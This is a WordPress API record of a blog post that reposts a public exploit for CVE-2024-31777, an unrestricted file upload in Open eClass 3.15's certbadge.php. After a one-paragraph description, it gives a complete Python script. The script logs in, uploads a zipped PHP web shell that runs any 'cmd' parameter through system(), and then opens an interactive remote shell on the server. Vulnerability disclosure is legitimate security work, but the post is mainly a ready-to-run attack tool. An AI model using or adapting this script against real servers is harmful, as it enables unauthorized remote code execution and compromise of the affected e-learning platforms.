{"id":52834,"date":"2026-10-21T07:00:00","date_gmt":"2026-10-21T00:00:00","guid":{"rendered":"https:\/\/deepquest.code511.com\/blog\/?p=52834"},"modified":"2026-11-11T19:15:06","modified_gmt":"2026-11-11T12:15:06","slug":"__trashed-371","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2026\/10\/__trashed-371\/","title":{"rendered":"GUnet OpenEclass E-learning platform 3.15 &#8211; &#8216;certbadge.php&#8217; Unrestricted File Upload"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">An unrestricted file upload vulnerability in the badge and certificate management endpoint (<code>certbadge.php<\/code>) allows authenticated administrators (or attackers leveraging similar flows) to upload malicious PHP web shells (such as via crafted ZIP archives). These files are saved in paths like\u00a0<code>\/courses\/user_progress_data\/cert_templates\/<\/code>\u00a0or\u00a0<code>badge_templates\/<\/code>\u00a0and can be executed to run system commands.<\/p>\n\n\n\n<p class=\"fdh-attribution wp-block-paragraph\"><\/p>\n\n\n\n<!--more-->\n\n\n\n<pre class=\"wp-block-code\"><code># Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload\n# Date: 2024-02-04\n# Exploit Author: Georgios Tsimpidas\n# Vendor Homepage: https:\/\/www.openeclass.org\/\n# Software Link: https:\/\/download.openeclass.org\/files\/3.15\/\n# Version: 3.15 (2024)\n# Tested on: Debian Kali (Apache\/2.4.57, PHP 8.2.12, MySQL 15.1)\n# CVE : CVE-2024-31777\n# GUnet OpenEclass &lt;= 3.15 E-learning platform - Unrestricted File\n\nimport requests\nimport argparse\nimport zipfile\nimport os\nimport sys\n\nRED = '\\033&#91;91m'\nGREEN = '\\033&#91;92m'\nYELLOW = '\\033&#91;93m'\nRESET = '\\033&#91;0m'\nORANGE = '\\033&#91;38;5;208m'\n\nMALICIOUS_PAYLOAD = \"\"\"\\\n&lt;?php\n\nif(isset($_REQUEST&#91;'cmd'])){\n        $cmd = ($_REQUEST&#91;'cmd']);\n        system($cmd);\n        die;\n}\n\n?>\n\"\"\"\n\ndef banner():\n    print(f'''{RED}\n{YELLOW}\n ============================ Author: Frey ============================\n{RESET}''')\n\ndef execute_command(openeclass, filename):\n    while True:\n        # Prompt for user input with \"eclass\"\n        cmd = input(f\"{RED}&#91;{YELLOW}eClass{RED}]~# {RESET}\")\n\n        # Check if the command is 'quit', then break the loop\n        if cmd.lower() == \"quit\":\n            print(f\"{ORANGE}\\nExiting...{RESET}\")\n            clean_server(openeclass)\n            sys.exit()\n\n        # Construct the URL with the user-provided command\n        url = f\"{openeclass}\/courses\/user_progress_data\/cert_templates\/{filename}?cmd={cmd}\"\n\n        # Execute the GET request\n        try:\n            response = requests.get(url)\n\n            # Check if the request was successful\n            if response.status_code == 200:\n                # Print the response text\n                print(f\"{GREEN}{response.text}{RESET}\")\n\n        except requests.exceptions.RequestException as e:\n            # Print any error that occurs during the request\n            print(f\"{RED}An error occurred: {e}{RESET}\")\n\ndef upload_web_shell(openeclass, username, password):\n    login_url = f'{openeclass}\/?login_page=1'\n    login_page_url = f'{openeclass}\/main\/login_form.php?next=%2Fmain%2Fportfolio.php'\n\n    # Login credentials\n    payload = {\n        'next': '\/main\/portfolio.php',\n        'uname': f'{username}',\n        'pass': f'{password}',\n        'submit': 'Enter'\n    }\n\n    headers = {\n        'Referer': login_page_url,\n    }\n\n    # Use a session to ensure cookies are handled correctly\n    with requests.Session() as session:\n        # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens\n        session.get(login_page_url)\n\n        # Post the login credentials\n        response = session.post(login_url, headers=headers, data=payload)\n\n        # Create a zip file containing the malicious payload\n        zip_file_path = 'malicious_payload.zip'\n        with zipfile.ZipFile(zip_file_path, 'w') as zipf:\n            zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())\n\n        # Upload the zip file\n        url = f'{openeclass}\/modules\/admin\/certbadge.php?action=add_cert'\n        files = {\n            'filename': ('evil.zip', open(zip_file_path, 'rb'), 'application\/zip'),\n            'certhtmlfile': (None, ''),\n            'orientation': (None, 'L'),\n            'description': (None, ''),\n            'cert_id': (None, ''),\n            'submit_cert_template': (None, '')\n        }\n        response = session.post(url, files=files)\n\n        # Clean up the zip file\n        os.remove(zip_file_path)\n\n        # Check if the upload was successful\n        if response.status_code == 200:\n            print(f\"{GREEN}Payload uploaded successfully!{RESET}\")\n            return True\n        else:\n            print(f\"{RED}Failed to upload payload. Exiting...{RESET}\")\n            return False\n\ndef clean_server(openeclass):\n    print(f\"{ORANGE}Cleaning server...{RESET}\")\n    # Remove the uploaded files\n    requests.get(f\"{openeclass}\/courses\/user_progress_data\/cert_templates\/evil.php?cmd=rm%20evil.zip\")\n    requests.get(f\"{openeclass}\/courses\/user_progress_data\/cert_templates\/evil.php?cmd=rm%20evil.php\")\n    print(f\"{GREEN}Server cleaned successfully!{RESET}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Open eClass \u2013 CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution\")\n    parser.add_argument('-u', '--username', required=True, help=\"Username for login\")\n    parser.add_argument('-p', '--password', required=True, help=\"Password for login\")\n    parser.add_argument('-e', '--eclass', required=True, help=\"Base URL of the Open eClass\")\n    args = parser.parse_args()\n\n    banner()\n    # Running the main login and execute command function\n    if upload_web_shell(args.eclass, args.username, args.password):\n        execute_command(args.eclass, 'evil.php')\n\nif __name__ == \"__main__\":\n    main()\n            <\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Open eClass 3.15 &#8211; RCE<\/p>\n","protected":false},"author":439,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[43,3],"tags":[],"class_list":["post-52834","post","type-post","status-publish","format-standard","hentry","category-exploit","category-security"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-dKa","jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/52834","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/439"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=52834"}],"version-history":[{"count":6,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/52834\/revisions"}],"predecessor-version":[{"id":53265,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/52834\/revisions\/53265"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=52834"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=52834"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=52834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}